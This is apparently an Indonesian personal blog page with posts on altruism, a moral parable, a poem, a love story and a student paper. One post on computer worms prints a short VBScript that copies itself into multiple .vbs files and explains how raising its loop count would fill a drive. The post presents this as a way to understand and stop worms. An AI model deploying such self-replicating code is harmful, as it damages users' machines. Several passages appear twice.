Rabu, 12 Agustus 2015
ALTRUISME
Altruisme adalah perhatian terhadap kesejahteraan orang lain tanpa memperhatikan diri sendiri. Perilaku ini merupakan kebajikan yang ada dalam banyak budaya dan dianggap penting oleh beberapa agama. Gagasan ini sering digambarkan sebagai aturan emas etika. Beberapa aliran filsafat, seperti Objektivisme berpendapat bahwa altruisme adalah suatu keburukan. Altruisme adalah lawan dari sifat egois yang mementingkan diri sendiri. Lawan dari altruisme adalah egoisme. Altruisme dapat dibedakan dengan perasaan loyalitas dan kewajiban. Altruisme memusatkan perhatian pada motivasi untuk membantu orang lain dan keinginan untuk melakukan kebaikan tanpa memperhatikan ganjaran, sementara kewajiban memusatkan perhatian pada tuntutan moral dari individu tertentu (seperti Tuhan, raja), organisasi khusus (seperti pemerintah), atau konsep abstrak (seperti patriotisme, dsb). Beberapa orang dapat merasakan altruisme sekaligus kewajiban, sementara yang lainnya tidak. Altruisme murni memberi tanpa memperhatikan ganjaran atau keuntungan. Konsep ini telah ada sejak lama dalam sejarah pemikiran filsafat dan etika, dan akhir-akhir ini menjadi topik dalam psikologi (terutama psikologi evolusioner), sosiologi, biologi, dan etologi. Gagasan altruisme dari satu bidang dapat memberikan dampak bagi bidang lain, tapi metoda dan pusat perhatian dari bidangbidang ini menghasilkan perspektif-perspektif berbeda terhadap altruisme. Berbagai penelitian terhadap altruisme tercetus terutama saat pembunuhan Kitty Genovese tahun 1964, yang ditikam selama setengah jam, dengan beberapa saksi pasif yang menahan diri tidak menolongnya. Istilah "altruisme" juga dapat merujuk pada suatu doktrin etis yang mengklaim bahwa individu-individu secara moral berkewajiban untuk dimanfaatkan bagi orang lain.Konsep ini memiliki sejarah panjang dalam filosofis dan etika berpikir. Istilah ini awalnya diciptakan oleh pendiri sosiologi dan filsuf ilmu pengetahuan, Auguste Comte, dan telah menjadi topik utama bagi psikolog TINGKAH LAKU ALTRUISTIK 6 Tingkah Laku Prososial (bagian 1) Halaman 2 (terutama peneliti psikologi evolusioner), biologi evolusioner, dan etolog. Sementara ide-ide tentang altruisme dari satu bidang dapat memberikan dampak pada bidang lain, metode yang berbeda dan fokus bidang-bidang ini menghasilkan perspektif yang berbeda pada altruisme.
Tiga teori yang dapat menjelaskan tentang motivasseseorang melakukan tingkah laku altruisme adalah sebagai berikut :
1. Social – exchange : Pada teori ini, tindakan menolong dapat dijelaskan dengan adanya pertukaran sosial – timbal balik (imbalan-reward). Altruisme menjelaskan bahwa imbalan-reward yang memotivasi adalah inner-reward (distress). Contohnya adalah kepuasan untuk menolong atau keadaan yang menyulitkan (rasa bersalah) untuk menolong.
2. Social Norms: Alasan menolong orang lain salah satunya karena didasari oleh ”sesuatu” yang mengatakan pada kita untuk ”harus” menolong.”sesuatu” tersebut adalah norma sosial. Pada altruisme, norma sosial tersebut dapat dijelaskan dengan adanya social responsibility. Adanya tanggungjawab sosial, dapat menyebabkan seseorang melakukan tindakan menolong karena dibutuhkan dan tanpa menharapkan imbalan di masa yang akan datang.
3. Evolutionary Psychology: Pada teori ini, dijelaskan bahwa pokok dari kehidupan adalah mempertahankan keturunan. Tingkah laku altruisme dapat muncul (dengan mudah) apabila ”orang lain” yang akan disejahterakan merupakan orang yang sama (satu karakteristik).
Contohnya: seseorang menolong orang yang sama persis dengan dirinya – keluarga, tetangga, dan sebagainya.
Dari penjelasan di atas, Myers (1996) menyimpulkan altruisme akan dengan mudah terjadi dengan adanya :
1. Social Responsibility, seseorang merasa memiliki tanggung jawab sosial dgn yg terjadi di sekitarnya.
2. Distress – inner reward, kepuasaan pribadi – tanpa ada faktor eksternal.
3. Kin Selection, ada salah satu karakteristik dari korban yang hampir sama .
Senin, 08 September 2014
Filosofi Matematika
Pernah nggak Anda berpikir…
1. Mengapa PLUS di kali PLUS hasilnya PLUS?
2. Mengapa MINUS di kali PLUS atau sebaliknya
PLUS di kali MINUS hasilnya MINUS?
3. Mengapa MINUS di kali MINUS hasilnya PLUS?
1. Mengapa PLUS di kali PLUS hasilnya PLUS?
2. Mengapa MINUS di kali PLUS atau sebaliknya
PLUS di kali MINUS hasilnya MINUS?
3. Mengapa MINUS di kali MINUS hasilnya PLUS?
Hikmahnya adalah:
(+) PLUS = BENAR
(-) MINUS = SALAH
(+) PLUS = BENAR
(-) MINUS = SALAH
1. Mengatakan BENAR terhadap sesuatu hal yang BENAR adalah
suatu tindakan yang BENAR.
Rumus matematikanya :
+ x + = +
Rumus matematikanya :
+ x + = +
2. Mengatakan BENAR terhadap sesuatu yang SALAH, atau
sebaliknya mengatakan SALAH terhadap sesuatu yang BENAR adalah suatu tindakan
yang SALAH.
Rumus matematikanya :
+ x – = -
– x + = -
Rumus matematikanya :
+ x – = -
– x + = -
3. Mengatakan SALAH terhadap sesuatu yang SALAH adalah suatu
tindakan yang BENAR.
Rumus matematikanya :
– x – = +
Rumus matematikanya :
– x – = +
Pelajaran matematika ternyata sarat makna,
yang bisa kita ambil sebagai pelajaran hidup.
Senin, 10 Maret 2014
"Kenapa Harus Jadi Pegawai Negeri?".
Ceritanya Seorang Ayah
sedang pusing tidak kepalang. Bagaimana tidak, anak laki-lakinya yang
sulung yang menjadi tumpuan cita-citanya menolak untuk jadi pengusaha.
Anaknya bersikeras ingin jadi pegawai negeri.
Alasannya sederhana menjadi pengusaha penuh resiko dan melelahkan, sementara jadi pegawai negeri kerjanya santai, uangnya pasti (meski tidak kerja serius dan sering bolospun gaji tidak berkurang), terus waktu tua dapat jaminan.
Bapaknya marah besar dengan alasan tersebut.
"Bapak ini pegawai negeri tapi bapak tidak bekerja dengan alasan seperti kamu.", demikian suara kerasa sang Ayah.
"Bapak mengabdikan diri pada negeri ini meski bapak sering merasa asing di negeri sendiri...Bapak sering merasa tolol diantara para pemeras rakyat yang sah dimata hukum.
Jadi pengusaha itu lebih mulya, kamu bisa membantu memberi nafkah orang lain...". Bentak bapak.
Si anak diam tidak menjawab dalam ketakutannya.
Karena dimarahi bapaknya, si anak kabur dari rumah.
Seminggu tidak ditemukan. Bapak masygul mencari anaknya kesana kemari. Di minggu kedua nenek si anak telepon bahwa cucunya baik-baik saja ada di rumah neneknya.
Mendengar kabar tersebut, bapak langsung datang ke rumah ibunya. Setelah bertemu anaknya terjadilah dialog dari hati kehati antara bapak dan anak.
“Mengapa kamu bersikeras ingin jadi pegawai negeri, nak?”
“Di negeri ini jadi pengusaha susah, Pak, banyak birokrasi, mendingan saya jadi birokratnya aja...Hidup lebih enak demikian”
“Kalau kamu memang ingin kerja mengapa tidak di perusahaan swasta?”
“Bagaimana saya bisa tenang kerja di perusahaan swasta, sementara pemerintahnya saja sering mempersulit pengusaha swasta kecuali orang-orang yang dekat dengan pemerintahan?”
Anaknya terus memberikan jawaban-jawaban skeptis.
“Baiklah anaku, kalau memang itu keputusan kamu sekarang ikutlah denganku…”
Lalu si bapak membawa anaknya jalan-jalan memasuki perkampungan. Di perkampungan bapaknya menunjuk beberapa rumah paling sederhana, memang seluruh kampung tersebut rumahnya mayoritas sederhana.
Kalau kamu bersikeras ingin jadi pegawai negeri, datanglah kamu ke lima rumah itu nak, dan mintalah sepuluh ribu rupiah tiap rumahnya lalu kamu bilang bulan depan kamu akan kembali lagi dan akan minta uang dengan jumlah yang sama.
Anaknya kebingungan dengan perkataan bapaknya. Bagaimana tidak, dia disuruh mengemis pada penduduk yang hanya untuk makanpun mereka kesulitan. Anaknya tidak mau menuruti perintah bapaknya, dia tetap diam.
Bapaknya kembali berkata dengan membentak. “Cepatlah kamu pergi meminta uang pada mereka, nak!! Bukankah kamu ingin jadi pegawai negeri? “
Anaknya tetap diam dan matanya mulai berkaca.
“Bapak...bagaimana mungkin aku mengemis pada mereka, sementara mereka untuk memenuhi kebutuhan sehari-harinya saja merasa kesulitan?”
Bapaknya kembali memaksa. “Cepatlah kamu pergi dan mintalah uang pada mereka!!!”
Kali ini anaknya menangis. “Aku tidak bisa, pak……Aku lebih baik bekerja dengan keras dan meneteskan keringat ini daripada aku harus meminta uang pada mereka...”, sambil meneteskan airmata.
Bapaknya kembali berkata, kali ini dengan suara lembut dan bijak... “Anakku..Negeri kita tercinta ini sedang sakit, kalau kamu jadi pegawai negeri hanya dengan alasan bekerja santai dan mendapatkan uang dengan pasti, kamu hanya akan menambah beban negeri ini. Beban rakyat yang hanya untuk memenuhi kebutuhan sehari-harinya saja mereka merasa kesulitan. Gaji pegawai negeri itu didapat dari rakyat yang miskin ini nak.... Lebih baik kamu jadi pengusaha dengan meneteskan keringat kamu sendiri untuk menafkahi keluarga kamu. Walaupun jadi pengusaha sangat kecil sekalipun tidak apa, itu jauh lebih mulia dari pada kamu mengemis uang pada rakyat yang miskin ini"....
Sang anak tertegun dan mengangguk...
Alasannya sederhana menjadi pengusaha penuh resiko dan melelahkan, sementara jadi pegawai negeri kerjanya santai, uangnya pasti (meski tidak kerja serius dan sering bolospun gaji tidak berkurang), terus waktu tua dapat jaminan.
Bapaknya marah besar dengan alasan tersebut.
"Bapak ini pegawai negeri tapi bapak tidak bekerja dengan alasan seperti kamu.", demikian suara kerasa sang Ayah.
"Bapak mengabdikan diri pada negeri ini meski bapak sering merasa asing di negeri sendiri...Bapak sering merasa tolol diantara para pemeras rakyat yang sah dimata hukum.
Jadi pengusaha itu lebih mulya, kamu bisa membantu memberi nafkah orang lain...". Bentak bapak.
Si anak diam tidak menjawab dalam ketakutannya.
Karena dimarahi bapaknya, si anak kabur dari rumah.
Seminggu tidak ditemukan. Bapak masygul mencari anaknya kesana kemari. Di minggu kedua nenek si anak telepon bahwa cucunya baik-baik saja ada di rumah neneknya.
Mendengar kabar tersebut, bapak langsung datang ke rumah ibunya. Setelah bertemu anaknya terjadilah dialog dari hati kehati antara bapak dan anak.
“Mengapa kamu bersikeras ingin jadi pegawai negeri, nak?”
“Di negeri ini jadi pengusaha susah, Pak, banyak birokrasi, mendingan saya jadi birokratnya aja...Hidup lebih enak demikian”
“Kalau kamu memang ingin kerja mengapa tidak di perusahaan swasta?”
“Bagaimana saya bisa tenang kerja di perusahaan swasta, sementara pemerintahnya saja sering mempersulit pengusaha swasta kecuali orang-orang yang dekat dengan pemerintahan?”
Anaknya terus memberikan jawaban-jawaban skeptis.
“Baiklah anaku, kalau memang itu keputusan kamu sekarang ikutlah denganku…”
Lalu si bapak membawa anaknya jalan-jalan memasuki perkampungan. Di perkampungan bapaknya menunjuk beberapa rumah paling sederhana, memang seluruh kampung tersebut rumahnya mayoritas sederhana.
Kalau kamu bersikeras ingin jadi pegawai negeri, datanglah kamu ke lima rumah itu nak, dan mintalah sepuluh ribu rupiah tiap rumahnya lalu kamu bilang bulan depan kamu akan kembali lagi dan akan minta uang dengan jumlah yang sama.
Anaknya kebingungan dengan perkataan bapaknya. Bagaimana tidak, dia disuruh mengemis pada penduduk yang hanya untuk makanpun mereka kesulitan. Anaknya tidak mau menuruti perintah bapaknya, dia tetap diam.
Bapaknya kembali berkata dengan membentak. “Cepatlah kamu pergi meminta uang pada mereka, nak!! Bukankah kamu ingin jadi pegawai negeri? “
Anaknya tetap diam dan matanya mulai berkaca.
“Bapak...bagaimana mungkin aku mengemis pada mereka, sementara mereka untuk memenuhi kebutuhan sehari-harinya saja merasa kesulitan?”
Bapaknya kembali memaksa. “Cepatlah kamu pergi dan mintalah uang pada mereka!!!”
Kali ini anaknya menangis. “Aku tidak bisa, pak……Aku lebih baik bekerja dengan keras dan meneteskan keringat ini daripada aku harus meminta uang pada mereka...”, sambil meneteskan airmata.
Bapaknya kembali berkata, kali ini dengan suara lembut dan bijak... “Anakku..Negeri kita tercinta ini sedang sakit, kalau kamu jadi pegawai negeri hanya dengan alasan bekerja santai dan mendapatkan uang dengan pasti, kamu hanya akan menambah beban negeri ini. Beban rakyat yang hanya untuk memenuhi kebutuhan sehari-harinya saja mereka merasa kesulitan. Gaji pegawai negeri itu didapat dari rakyat yang miskin ini nak.... Lebih baik kamu jadi pengusaha dengan meneteskan keringat kamu sendiri untuk menafkahi keluarga kamu. Walaupun jadi pengusaha sangat kecil sekalipun tidak apa, itu jauh lebih mulia dari pada kamu mengemis uang pada rakyat yang miskin ini"....
Sang anak tertegun dan mengangguk...
Kamis, 19 Desember 2013
Puisi Untuk Ibuku ..
Ibuku ..
Ibu, aku bersaksi engkaulah perempuan rupawan
Yang berawajah tersenyum menawan
Pantulan kebersihan
Hatimu yang hasan
Ibu, aku bersaksi
Engkaulah guru pertamaku yang mengajari
Kasih saying sejati
Yang mengajariku mulai dari
Membuat titik lalu menjadi
Garis-garis dan aksara yang berarti
Ibu, aku bersaksi
Engkaulah seniman yang membimbingku
Siang malam
Kepada keindahan semesta alam
Menuntunku menirukan suara-suara merdu
Menirukan tarian dahan-dahan yang bergoyang
Menyalin pemandangan dan panorama
Dan menuliskan segala pesona
Ibu, aku bersaksi
Engkaulah patriot panutanku
Yang tak henti mengingatkanku
Tentang cinta tanah air
Tempat aku lahir
Tempat aku mewujud
Dan bersujud
Ibu, aku bersaksi
Engkaulah mursyidku yang mengenalkanku
Kepada khaliqku yang syakur
Yang mendidikku
Bersabar dan bersyukur
Berzikir dan tafakur
Yang melatihku
Antara khauf-rajaku yang membaur
Menyerang kasih sayang ilahi yang luhur
A.Mustofa Bisri
Ibu, aku bersaksi engkaulah perempuan rupawan
Yang berawajah tersenyum menawan
Pantulan kebersihan
Hatimu yang hasan
Ibu, aku bersaksi
Engkaulah guru pertamaku yang mengajari
Kasih saying sejati
Yang mengajariku mulai dari
Membuat titik lalu menjadi
Garis-garis dan aksara yang berarti
Ibu, aku bersaksi
Engkaulah seniman yang membimbingku
Siang malam
Kepada keindahan semesta alam
Menuntunku menirukan suara-suara merdu
Menirukan tarian dahan-dahan yang bergoyang
Menyalin pemandangan dan panorama
Dan menuliskan segala pesona
Ibu, aku bersaksi
Engkaulah patriot panutanku
Yang tak henti mengingatkanku
Tentang cinta tanah air
Tempat aku lahir
Tempat aku mewujud
Dan bersujud
Ibu, aku bersaksi
Engkaulah mursyidku yang mengenalkanku
Kepada khaliqku yang syakur
Yang mendidikku
Bersabar dan bersyukur
Berzikir dan tafakur
Yang melatihku
Antara khauf-rajaku yang membaur
Menyerang kasih sayang ilahi yang luhur
A.Mustofa Bisri
Senin, 16 Desember 2013
Worm Si Cacing Komputer
Halooo.., tau nggak komputer gua itu core 2
duo, ram 4 Gb, dengan kecepatan sekitar 4,sekian ghz, tapi kok lemotnya
minta ampun, tau nggak gua tuh tiap hari bete mulu karena itu (lebay).
Udah ah curhatnya hehe, jadi dari pengalaman gua itu, gua berfikir kalau
kompi gua kena virus. Terus ya udah gua scan pake antivirus tapi masih
aja lemot.
Ya udah jalan satu – satunya menuju kenikmatan adalah.....?? apa hayo. Bener instal ulang.
Tapi setelah itu gua cari referensi tentang virus tipe ini. Ternyata ini bukan virus, tapi worm. Inget lo
worm bukan virus, karena virus dan worm itu beda banget. Kalau virus itu tipenya merusak, ngremuk mas terus kalau virusnya ketemu tinggal di delete pake antivirus udah deh. Tapi kalo worm nggak ngrusak mereka Cuma berkembang biak jadi banyak terus itulah yang membuat performa komputer kita jadi agak santai (jangan bilang lemot, nggak sopan).
Tapi setelah itu gua cari referensi tentang virus tipe ini. Ternyata ini bukan virus, tapi worm. Inget lo
worm bukan virus, karena virus dan worm itu beda banget. Kalau virus itu tipenya merusak, ngremuk mas terus kalau virusnya ketemu tinggal di delete pake antivirus udah deh. Tapi kalo worm nggak ngrusak mereka Cuma berkembang biak jadi banyak terus itulah yang membuat performa komputer kita jadi agak santai (jangan bilang lemot, nggak sopan).
Coba kalian bayangkan, jika ada cacing di dalam sebuah pipa air terus cacingnya tu nggrombol, trus tawuran kebayangkan. Terus airnya nggak bisa lewat deh. Nah menurut buku yang gua baca cara kerja worm ini meniru cacing beneran. Tapi cacing kita kali ini nggak kayak gitu, kan jijik banget kalau ada bentuk kayak gitu di kompi hii. Cacing yang kita hadapi bentuknya lebih indah,
keren deh pokoknya :D
Ada dua tipe penyebaran worm. Cara yang pertama adalah satu – satu. Maksudnya gini. Coba bayangkan kompoter si A telah terinfeksi worm. Terus dimasukin flashdisk. Otomatis flashdisknya udah terinfeksi juga. Terus dicolokin ke komputer B, komputer B juga terinfeksi lagi. Terus ada flashdisk dari komputer C masuk ke komputer B. Nah udah gitu aja terus terusan sampai komputer Z
(emang ada huruf lain kecuali A-Z). Begitulah caranya untuk cara yang kedua adalah dengan menyerang pusat.
Misalnya dalam sebuah jaringan yang terdiri dari beberapa client dan satu server. Jika satu
komputer client terinfeksi worm, terus si server minta data dari si salah satu client. Terus si server kena. Otomatis client lainya juga kena. Begitulah. Dan sekarang saya akan menunjukan teknik dasar membuat worm. Tapi inget ini gua kasih tahu supaya bisa mengerti bagaimana cara menghentikan si worm ini. Intinya gak susah karena ini Cuma dasar. Wormnya kita buat dari notepad tapi pake bahasa pemrograman vbs. Gua akan menjelasakan cara kerja worm kloning
komputer client terinfeksi worm, terus si server minta data dari si salah satu client. Terus si server kena. Otomatis client lainya juga kena. Begitulah. Dan sekarang saya akan menunjukan teknik dasar membuat worm. Tapi inget ini gua kasih tahu supaya bisa mengerti bagaimana cara menghentikan si worm ini. Intinya gak susah karena ini Cuma dasar. Wormnya kita buat dari notepad tapi pake bahasa pemrograman vbs. Gua akan menjelasakan cara kerja worm kloning
on error resume next
set xa=createobject("scripting.filesystemobject")
set elkkloner=xa.opentextfile(wscript.scriptfullname)
skrenta=elkkloner.readall
elkkloner.close
for r=1 to 5
set kloner=xa.createtextfile("elkkloner" & r & ".vbs")
kloner.write skrenta
kloner.close
set att=xa.getfile("elkkloner" & r & ".vbs")
att.attributes=1
next
Kode diatas bertujuan untuk mengkloning suatu folder aktif dengan isi yang sama. Pokoknya semua hasilnya sama persis, Cuma beda namanya. Text yang berwarna merah itu nama bisa diganti-ganti. Terus text yang berwarna hijau adalah jumlah kloning yang kita inginkan. Setiap kloning akan memiliki kapasitas 1 KB, coba bayangkan kalau angka 5 pada kata 1 to 5 diganti dengan angka 1000000. Bayangkan drive kita akan langsung di penuhi kloning tersebut yang totalnya memiliki kapasitas 1.000.000 KB, bisa kebayang kan kerugianya. Terus proses pembuatan kloning itulah yang kadang membuat komputer kita santai (inget santai bukan lemot). Jika mau tau hasilnya simpan dengan ekstensi
*.vbs
Salah
satu worm yang terkenal adalah RECYCLER pasti tau donk. Sukanya tuh
buat kapasitas flashdisk kita full. Jadi begitulah worm secara simpel.
Dan sekarang bisa bedain kan virus sama worm. Terus ada satu lagi
trojan. Haha gak usah dibahas disini bisa penuh nanti.
Senin, 18 November 2013
Cerita Sangat Sedih Perjalanan Cinta
Cinta itu butuh kesabaran… Sampai dimanakah kita harus bersabar menanti
cinta kita??? Hari itu.. aku dengannya berkomitmen untuk menjaga cinta
kita.. Aku menjadi perempuan yg paling bahagia….. Pernikahan kami
sederhana namun meriah….. Ia menjadi pria yang sangat romantis pada
waktu itu. Aku bersyukur menikah dengan seorang pria yang shaleh,
pintar, tampan & mapan pula. Ketika kami berpacaran dia sudah sukses
dalam karirnya. akan berbulan madu di tanah suci, itu janjinya ketika
kami berpacaran dulu.. Dan setelah menikah, aku mengajaknya untuk umroh
ke tanah suci….
Aku sangat bahagia dengannya, dan dianya juga sangat memanjakan aku… sangat terlihat dari rasa cinta dan rasa sayangnya pada ku. Banyak orang yang bilang kami adalah pasangan yang serasi. Sangat terlihat sekali bagaimana suamiku memanjakanku. Dan aku bahagia menikah dengannya.
***
Aku sangat bahagia dengannya, dan dianya juga sangat memanjakan aku… sangat terlihat dari rasa cinta dan rasa sayangnya pada ku. Banyak orang yang bilang kami adalah pasangan yang serasi. Sangat terlihat sekali bagaimana suamiku memanjakanku. Dan aku bahagia menikah dengannya.
***
Sabtu, 16 November 2013
Karya Ilmiah Pendidikan Kewarganegaraan
PERANAN
OTONOMI DAERAH TERHADAP PELUANG DAN TANTANGAN BISNIS DI INDONESIA
Disusun Oleh :
Mohammad
Fandika Fahmi
25113620 /
1KB02
SISTEM KOMPUTER
PENDIDIKAN KEWARGANEGARAAN
Bapak Drs. H. Djumhardjinis, MM, Bc, Hk.
Bapak Drs. H. Djumhardjinis, MM, Bc, Hk.
UNIVERSITAS GUNADARMA
FAKULTAS TEKNIK KOMPUTER
PTA 2013/2014
KATA – KATA MUTIARA
“Jangan
ragu jangan takut karang menghadang, bicaralah yang lantang jangan hanya diam. (Iwan
Fals)”
“Kemiskinan adalah
bentuk paling buruk dari kekerasan. (Mahatma Gandhi)”
"“Jangan salah gunakan kehebatan ilmu pengetahuan untuk
Menghancurkan. (Iwan Fals)”
“Kesadaran adalah
matahari, kesabaran adalah bumi, keberanian menjadi cakrawala, dan perjuangan
adalah pelaksanaan kata-kata.
“(WS
Rendra)”
“Tegakan Hukum setegak-tegaknya adil dan tegas tak pandang bulu”(Iwan Fals)”
“Jangan bangga apa yang telah kau lakukan hari ini,
sebab engkau tidak tahu akan hari esok”
“(Mohammad Fandika Fahmi)”
KATA PENGANTAR
Puji syukur marilah kita panjatkan
puji serta syukur akan kehadiran Allah Swt, yang telah memberikan anugerah dan
karunia-Nya kepada kita, sehingga masih diberikan kesehatan, kekuatan, dan
kemampuan untuk terus hadir dan berkarya, yang Insya Allah dapat bermanfaat
bagi kemajuan manusia di masa yang akan datang.
Tak
lupa penulis mengucapkan terimakasih kepada Bapak Drs. H. Djumhardjinis, MM, Bc, Hk. sebagai
Dosen Mata Kuliah Pendidikan
Kewarganegaraan yang telah membantu dan
membimbing penulis dalam mengerjakan
karya ilmiah ini. Penulis juga mengucapkan terimakasih kepada teman – teman dan keluarga yang telah membantu baik secara langsung maupun tidak langsung
dalam pembuatan
karya ilmiah ini.
Penulis sadar bahwa karya
ilmiah ini belumlah sempurna, oleh karena itu jika ditemukan kesalahan pada
Karya Ilmiah ini penulis memohonkan maaf yang sebesar-besarnya.
Semoga
karya ilmiah yang penulis buat ini menambah
wawasan kita dan dapat menjadi sesuatu yang bermanfaat bagi kita semua.
Depok, 16 November 2013
Penulis
Mohammad Fandika
Langganan:
Postingan (Atom)

